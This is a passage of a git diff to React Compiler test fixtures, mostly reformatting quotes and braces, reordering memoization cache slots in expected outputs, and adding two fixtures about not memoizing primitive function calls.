+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-property-inference.js
@@ -1,7 +1,7 @@
 function Component(props) {
   const x = [];
   x.push(props.value);
-  const { length: y } = x;
+  const {length: y} = x;
   foo(y);
   return [x, y];
 }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-same-property-identifier-names.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-same-property-identifier-names.expect.md
index 780e3fc450fa..3e1c4771eabf 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-same-property-identifier-names.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-same-property-identifier-names.expect.md
@@ -2,11 +2,11 @@
 ## Input
 
 ```javascript
-import { identity } from "shared-runtime";
+import {identity} from 'shared-runtime';
 
 function Component(props) {
   const {
-    x: { destructured },
+    x: {destructured},
     sameName: renamed,
   } = props;
   const sameName = identity(destructured);
@@ -16,7 +16,7 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ x: { destructured: 0 }, sameName: 2 }],
+  params: [{x: {destructured: 0}, sameName: 2}],
 };
 
 ```
@@ -41,10 +41,10 @@ function Component(props) {
   }
   const sameName = t1;
   let t2;
-  if ($[2] !== sameName || $[3] !== renamed) {
+  if ($[2] !== renamed || $[3] !== sameName) {
     t2 = [sameName, renamed];
-    $[2] = sameName;
-    $[3] = renamed;
+    $[2] = renamed;
+    $[3] = sameName;
     $[4] = t2;
   } else {
     t2 = $[4];
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-same-property-identifier-names.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-same-property-identifier-names.js
index e8af28df3f3b..73faee9ab1bc 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-same-property-identifier-names.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-same-property-identifier-names.js
@@ -1,8 +1,8 @@
-import { identity } from "shared-runtime";
+import {identity} from 'shared-runtime';
 
 function Component(props) {
   const {
-    x: { destructured },
+    x: {destructured},
     sameName: renamed,
   } = props;
   const sameName = identity(destructured);
@@ -12,5 +12,5 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ x: { destructured: 0 }, sameName: 2 }],
+  params: [{x: {destructured: 0}, sameName: 2}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-with-conditional-as-default-value.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-with-conditional-as-default-value.expect.md
index 2a152dacaf05..f981cf0c2d5f 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-with-conditional-as-default-value.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-with-conditional-as-default-value.expect.md
@@ -9,7 +9,7 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ y: [] }],
+  params: [{y: []}],
 };
 
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-with-conditional-as-default-value.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-with-conditional-as-default-value.js
index 01e7072294d9..4b8cf1b25dc8 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-with-conditional-as-default-value.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-with-conditional-as-default-value.js
@@ -5,5 +5,5 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ y: [] }],
+  params: [{y: []}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-with-typecast-as-default-value.flow.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-with-typecast-as-default-value.flow.expect.md
index 33f2f884df87..6fce86805e24 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-with-typecast-as-default-value.flow.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-with-typecast-as-default-value.flow.expect.md
@@ -12,6 +12,7 @@ export const FIXTURE_ENTRYPOINT = {
   fn: Component,
   params: [{y: []}],
 };
+
 ```
 
 ## Code
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-with-typecast-as-default-value.flow.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-with-typecast-as-default-value.flow.js
index 05bd688ba8d1..6de20262bd3c 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-with-typecast-as-default-value.flow.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring-with-typecast-as-default-value.flow.js
@@ -7,4 +7,4 @@ function Component(props) {
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
   params: [{y: []}],
-};
\ No newline at end of file
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring.expect.md
index ae7958735413..f292e83e1643 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring.expect.md
@@ -7,7 +7,7 @@ function foo(a, b, c) {
     d,
     [
       {
-        e: { f },
+        e: {f},
         ...g
       },
     ],
@@ -24,8 +24,8 @@ function foo(a, b, c) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: foo,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
 
 ```
@@ -36,45 +36,45 @@ export const FIXTURE_ENTRYPOINT = {
 import { c as _c } from "react/compiler-runtime";
 function foo(a, b, c) {
   const $ = _c(18);
-  let t0;
   let d;
   let h;
+  let t0;
   if ($[0] !== a) {
     [d, t0, ...h] = a;
     $[0] = a;
-    $[1] = t0;
-    $[2] = d;
-    $[3] = h;
+    $[1] = d;
+    $[2] = h;
+    $[3] = t0;
   } else {
-    t0 = $[1];
-    d = $[2];
-    h = $[3];
+    d = $[1];
+    h = $[2];
+    t0 = $[3];
   }
   const [t1] = t0;
-  let t2;
   let g;
+  let t2;
   if ($[4] !== t1) {
     ({ e: t2, ...g } = t1);
     $[4] = t1;
-    $[5] = t2;
-    $[6] = g;
+    $[5] = g;
+    $[6] = t2;
   } else {
-    t2 = $[5];
-    g = $[6];
+    g = $[5];
+    t2 = $[6];
   }
   const { f } = t2;
   const { l: t3, p } = b;
   const { m: t4 } = t3;
-  let t5;
   let o;
+  let t5;
   if ($[7] !== t4) {
     [t5, ...o] = t4;
     $[7] = t4;
-    $[8] = t5;
-    $[9] = o;
+    $[8] = o;
+    $[9] = t5;
   } else {
-    t5 = $[8];
-    o = $[9];
+    o = $[8];
+    t5 = $[9];
   }
   const [n] = t5;
   let t6;
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring.js
index 3693b1652b7b..9b9db33cf70f 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructuring.js
@@ -3,7 +3,7 @@ function foo(a, b, c) {
     d,
     [
       {
-        e: { f },
+        e: {f},
         ...g
       },
     ],
@@ -20,6 +20,6 @@ function foo(a, b, c) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: foo,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/do-while-break.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/do-while-break.expect.md
index ac95b7b08523..35fcda1c1246 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/do-while-break.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/do-while-break.expect.md
@@ -11,8 +11,8 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
 
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/do-while-break.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/do-while-break.js
index 02a17fa1244e..3975854f92aa 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/do-while-break.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/do-while-break.js
@@ -7,6 +7,6 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/do-while-compound-test.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/do-while-compound-test.expect.md
index cf9e489c8fd6..845955d5c838 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/do-while-compound-test.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/do-while-compound-test.expect.md
@@ -14,8 +14,8 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
 
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/do-while-compound-test.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/do-while-compound-test.js
index 0752841f9722..50f8f86264ea 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/do-while-compound-test.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/do-while-compound-test.js
@@ -10,6 +10,6 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/do-while-continue.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/do-while-continue.expect.md
index c40110f44b53..26feb29eed65 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/do-while-continue.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/do-while-continue.expect.md
@@ -46,6 +46,7 @@ function Component() {
   } else {
     ret = $[0];
   }
+
   return ret;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/do-while-early-unconditional-break.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/do-while-early-unconditional-break.expect.md
index 1e79a239dd02..9200a81b22a7 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/do-while-early-unconditional-break.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/do-while-early-unconditional-break.expect.md
@@ -28,6 +28,7 @@ function Component(props) {
   } else {
     x = $[0];
   }
+
   return x;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/dominator.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/dominator.expect.md
index 3d5f124e07eb..4b2c7e31b1dd 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/dominator.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/dominator.expect.md
@@ -15,14 +15,14 @@ function Component(props) {
     x = 3;
   }
   label2: switch (props.c) {
-    case "a": {
+    case 'a': {
       x = 4;
       break;
     }
-    case "b": {
+    case 'b': {
       break label2;
     }
-    case "c": {
+    case 'c': {
       x = 5;
       // intentional fallthrough
     }
@@ -38,8 +38,8 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
 
 ```
@@ -67,8 +67,7 @@ function Component(props) {
     case "b": {
       break bb1;
     }
-    case "c": {
-    }
+    case "c":
     default: {
       x = 6;
     }
@@ -76,6 +75,7 @@ function Component(props) {
   if (props.d) {
     return null;
   }
+
   return x;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/dominator.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/dominator.js
index bcec2191e572..e22dee4ca6c6 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/dominator.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/dominator.js
@@ -11,14 +11,14 @@ function Component(props) {
     x = 3;
   }
   label2: switch (props.c) {
-    case "a": {
+    case 'a': {
       x = 4;
       break;
     }
-    case "b": {
+    case 'b': {
       break label2;
     }
-    case "c": {
+    case 'c': {
       x = 5;
       // intentional fallthrough
     }
@@ -34,6 +34,6 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/dont-memoize-primitive-function-call-non-escaping-useMemo.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/dont-memoize-primitive-function-call-non-escaping-useMemo.expect.md
new file mode 100644
index 000000000000..93b08128a0af
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/dont-memoize-primitive-function-call-non-escaping-useMemo.expect.md
@@ -0,0 +1,77 @@
+
+## Input
+
+```javascript
+// @compilationMode:"infer" @enablePreserveExistingMemoizationGuarantees @validatePreserveExistingMemoizationGuarantees
+import {useMemo} from 'react';
+import {makeObject_Primitives, ValidateMemoization} from 'shared-runtime';
+
+function Component(props) {
+  const result = useMemo(
+    () => makeObject(props.value).value + 1,
+    [props.value]
+  );
+  console.log(result);
+  return 'ok';
+}
+
+function makeObject(value) {
+  console.log(value);
+  return {value};
+}
+
+export const TODO_FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{value: 42}],
+  sequentialRenders: [
+    {value: 42},
+    {value: 42},
+    {value: 3.14},
+    {value: 3.14},
+    {value: 42},
+    {value: 3.14},
+    {value: 42},
+    {value: 3.14},
+  ],
+};
+
+```
+
+## Code
+
+```javascript
+// @compilationMode:"infer" @enablePreserveExistingMemoizationGuarantees @validatePreserveExistingMemoizationGuarantees
+import { useMemo } from "react";
+import { makeObject_Primitives, ValidateMemoization } from "shared-runtime";
+
+function Component(props) {
+  const result = makeObject(props.value).value + 1;
+
+  console.log(result);
+  return "ok";
+}
+
+function makeObject(value) {
+  console.log(value);
+  return { value };
+}
+
+export const TODO_FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ value: 42 }],
+  sequentialRenders: [
+    { value: 42 },
+    { value: 42 },
+    { value: 3.14 },
+    { value: 3.14 },
+    { value: 42 },
+    { value: 3.14 },
+    { value: 42 },
+    { value: 3.14 },
+  ],
+};
+
+```
+      
+### Eval output
+(kind: exception) Fixture not implemented
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/dont-memoize-primitive-function-call-non-escaping-useMemo.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/dont-memoize-primitive-function-call-non-escaping-useMemo.js
new file mode 100644
index 000000000000..2ee24917c53e
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/dont-memoize-primitive-function-call-non-escaping-useMemo.js
@@ -0,0 +1,32 @@
+// @compilationMode:"infer" @enablePreserveExistingMemoizationGuarantees @validatePreserveExistingMemoizationGuarantees
+import {useMemo} from 'react';
+import {makeObject_Primitives, ValidateMemoization} from 'shared-runtime';
+
+function Component(props) {
+  const result = useMemo(
+    () => makeObject(props.value).value + 1,
+    [props.value]
+  );
+  console.log(result);
+  return 'ok';
+}
+
+function makeObject(value) {
+  console.log(value);
+  return {value};
+}
+
+export const TODO_FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{value: 42}],
+  sequentialRenders: [
+    {value: 42},
+    {value: 42},
+    {value: 3.14},
+    {value: 3.14},
+    {value: 42},
+    {value: 3.14},
+    {value: 42},
+    {value: 3.14},
+  ],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/dont-memoize-primitive-function-call-non-escaping.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/dont-memoize-primitive-function-call-non-escaping.expect.md
new file mode 100644
index 000000000000..0abd02f41222
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/dont-memoize-primitive-function-call-non-escaping.expect.md
@@ -0,0 +1,81 @@
+
+## Input
+
+```javascript
+// @expectNothingCompiled @compilationMode:"infer" @enablePreserveExistingMemoizationGuarantees @validatePreserveExistingMemoizationGuarantees
+import {useMemo} from 'react';
+import {makeObject_Primitives, ValidateMemoization} from 'shared-runtime';
+
+function Component(props) {
+  const result = makeObject(props.value).value + 1;
+  console.log(result);
+  return 'ok';
+}
+
+function makeObject(value) {
+  console.log(value);
+  return {value};
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{value: 42}],
+  sequentialRenders: [
+    {value: 42},
+    {value: 42},
+    {value: 3.14},
+    {value: 3.14},
+    {value: 42},
+    {value: 3.14},
+    {value: 42},
+    {value: 3.14},
+  ],
+};
+
+```
+
+## Code
+
+```javascript
+// @expectNothingCompiled @compilationMode:"infer" @enablePreserveExistingMemoizationGuarantees @validatePreserveExistingMemoizationGuarantees
+import { useMemo } from "react";
+import { makeObject_Primitives, ValidateMemoization } from "shared-runtime";
+
+function Component(props) {
+  const result = makeObject(props.value).value + 1;
+  console.log(result);
+  return "ok";
+}
+
+function makeObject(value) {
+  console.log(value);
+  return { value };
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ value: 42 }],
+  sequentialRenders: [
+    { value: 42 },
+    { value: 42 },
+    { value: 3.14 },
+    { value: 3.14 },
+    { value: 42 },
+    { value: 3.14 },
+    { value: 42 },
+    { value: 3.14 },
+  ],
+};
+
+```
+      
+### Eval output
+(kind: ok) "ok"
+"ok"
+"ok"
+"ok"
+"ok"
+"ok"
+"ok"
+"ok"
+logs: [42,43,42,43,3.14,4.140000000000001,3.14,4.140000000000001,42,43,3.14,4.140000000000001,42,43,3.14,4.140000000000001]
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/dont-memoize-primitive-function-call-non-escaping.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/dont-memoize-primitive-function-call-non-escaping.js
new file mode 100644
index 000000000000..7477ee0a9dc9
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/dont-memoize-primitive-function-call-non-escaping.js
@@ -0,0 +1,29 @@
+// @expectNothingCompiled @compilationMode:"infer" @enablePreserveExistingMemoizationGuarantees @validatePreserveExistingMemoizationGuarantees
+import {useMemo} from 'react';
+import {makeObject_Primitives, ValidateMemoization} from 'shared-runtime';
+
+function Component(props) {
+  const result = makeObject(props.value).value + 1;
+  console.log(result);
+  return 'ok';
+}
+
+function makeObject(value) {
+  console.log(value);
+  return {value};
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{value: 42}],
+  sequentialRenders: [
+    {value: 42},
+    {value: 42},
+    {value: 3.14},
+    {value: 3.14},
+    {value: 42},
+    {value: 3.14},
+    {value: 42},
+    {value: 3.14},
+  ],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/dont-merge-if-dep-is-inner-declaration-of-previous-scope.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/dont-merge-if-dep-is-inner-declaration-of-previous-scope.expect.md
index ad843e230fc4..ce5bfda64406 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/dont-merge-if-dep-is-inner-declaration-of-previous-scope.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/dont-merge-if-dep-is-inner-declaration-of-previous-scope.expect.md
@@ -2,12 +2,12 @@
 ## Input
 
 ```javascript
-import { ValidateMemoization } from "shared-runtime";
+import {ValidateMemoization} from 'shared-runtime';
 
 // Achieving Forget's level of memoization precision in this example isn't possible with useMemo
 // without significantly altering the code, so disable the non-Forget evaluation of this fixture.
 // @disableNonForgetInSprout
-function Component({ a, b, c }) {
+function Component({a, b, c}) {
   const x = [];
   let y;
   if (a) {
@@ -30,12 +30,12 @@ function Component({ a, b, c }) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ a: false, b: null, c: 0 }],
+  params: [{a: false, b: null, c: 0}],
   sequentialRenders: [
-    { a: false, b: null, c: 0 },
-    { a: false, b: null, c: 1 },
-    { a: true, b: 0, c: 1 },
-    { a: true, b: 1, c: 1 },
+    {a: false, b: null, c: 0},
+    {a: false, b: null, c: 1},
+    {a: true, b: 0, c: 1},
+    {a: true, b: 1, c: 1},
   ],
 };
 
@@ -53,8 +53,8 @@ import { ValidateMemoization } from "shared-runtime";
 function Component(t0) {
   const $ = _c(25);
   const { a, b, c } = t0;
-  let y;
   let x;
+  let y;
   if ($[0] !== a || $[1] !== b || $[2] !== c) {
     x = [];
     if (a) {
@@ -73,11 +73,11 @@ function Component(t0) {
     $[0] = a;
     $[1] = b;
     $[2] = c;
-    $[3] = y;
-    $[4] = x;
+    $[3] = x;
+    $[4] = y;
   } else {
-    y = $[3];
-    x = $[4];
+    x = $[3];
+    y = $[4];
   }
   let t1;
   if ($[7] !== y) {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/dont-merge-if-dep-is-inner-declaration-of-previous-scope.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/dont-merge-if-dep-is-inner-declaration-of-previous-scope.js
index 706f6363b8e8..25728f0ada7b 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/dont-merge-if-dep-is-inner-declaration-of-previous-scope.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/dont-merge-if-dep-is-inner-declaration-of-previous-scope.js
@@ -1,9 +1,9 @@
-import { ValidateMemoization } from "shared-runtime";
+import {ValidateMemoization} from 'shared-runtime';
 
 // Achieving Forget's level of memoization precision in this example isn't possible with useMemo
 // without significantly altering the code, so disable the non-Forget evaluation of this fixture.
 // @disableNonForgetInSprout
-function Component({ a, b, c }) {
+function Component({a, b, c}) {
   const x = [];
   let y;
   if (a) {
@@ -26,11 +26,11 @@ function Component({ a, b, c }) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ a: false, b: null, c: 0 }],
+  params: [{a: false, b: null, c: 0}],
   sequentialRenders: [
-    { a: false, b: null, c: 0 },
-    { a: false, b: null, c: 1 },
-    { a: true, b: 0, c: 1 },
-    { a: true, b: 1, c: 1 },
+    {a: false, b: null, c: 0},
+    {a: false, b: null, c: 1},
+    {a: true, b: 0, c: 1},
+    {a: true, b: 1, c: 1},
   ],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/dont-merge-overlapping-scopes-store-const-used-later.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/dont-merge-overlapping-scopes-store-const-used-later.expect.md
index ccbd69e84054..a59d1a566c10 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/dont-merge-overlapping-scopes-store-const-used-later.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/dont-merge-overlapping-scopes-store-const-used-later.expect.md
@@ -2,7 +2,7 @@
 ## Input
 
 ```javascript
-import { Stringify, makeObject_Primitives } from "shared-runtime";
+import {Stringify, makeObject_Primitives} from 'shared-runtime';
 
 function Component(props) {
   const array = [props.count];
@@ -14,7 +14,7 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ count: 42 }],
+  params: [{count: 42}],
 };
 
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/dont-merge-overlapping-scopes-store-const-used-later.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/dont-merge-overlapping-scopes-store-const-used-later.js
index d55d863a8387..e4066d28c631 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/dont-merge-overlapping-scopes-store-const-used-later.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/dont-merge-overlapping-scopes-store-const-used-later.js
@@ -1,4 +1,4 @@
-import { Stringify, makeObject_Primitives } from "shared-runtime";
+import {Stringify, makeObject_Primitives} from 'shared-runtime';
 
 function Component(props) {
   const array = [props.count];
@@ -10,5 +10,5 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ count: 42 }],
+  params: [{count: 42}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/dont-merge-overlapping-scopes-with-intermediate-reassignment.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/dont-merge-overlapping-scopes-with-intermediate-reassignment.expect.md
index 7325cd29d352..cae53674bc72 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/dont-merge-overlapping-scopes-with-intermediate-reassignment.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/dont-merge-overlapping-scopes-with-intermediate-reassignment.expect.md
@@ -2,7 +2,7 @@
 ## Input
 
 ```javascript
-import { Stringify } from "shared-runtime";
+import {Stringify} from 'shared-runtime';
 
 function Component(props) {
   let x;
@@ -19,7 +19,7 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ count: 42 }],
+  params: [{count: 42}],
 };
 
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/dont-merge-overlapping-scopes-with-intermediate-reassignment.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/dont-merge-overlapping-scopes-with-intermediate-reassignment.js
index a506886853ba..f0b9bfb9ea56 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/dont-merge-overlapping-scopes-with-intermediate-reassignment.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/dont-merge-overlapping-scopes-with-intermediate-reassignment.js
@@ -1,4 +1,4 @@
-import { Stringify } from "shared-runtime";
+import {Stringify} from 'shared-runtime';
 
 function Component(props) {
   let x;
@@ -15,5 +15,5 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ count: 42 }],
+  params: [{count: 42}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/drop-methodcall-usecallback.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/drop-methodcall-usecallback.expect.md
index 649e00554dc8..be8e2268290a 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/drop-methodcall-usecallback.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/drop-methodcall-usecallback.expect.md
@@ -2,7 +2,7 @@
 ## Input
 
 ```javascript
-import * as React from "react";
+import * as React from 'react';
 
 function Component(props) {
   const onClick = React.useCallback(() => {
@@ -13,7 +13,7 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ value: 42 }],
+  params: [{value: 42}],
 };
 
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/drop-methodcall-usecallback.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/drop-methodcall-usecallback.js
index 1f32668c86d7..e43417185832 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/drop-methodcall-usecallback.js
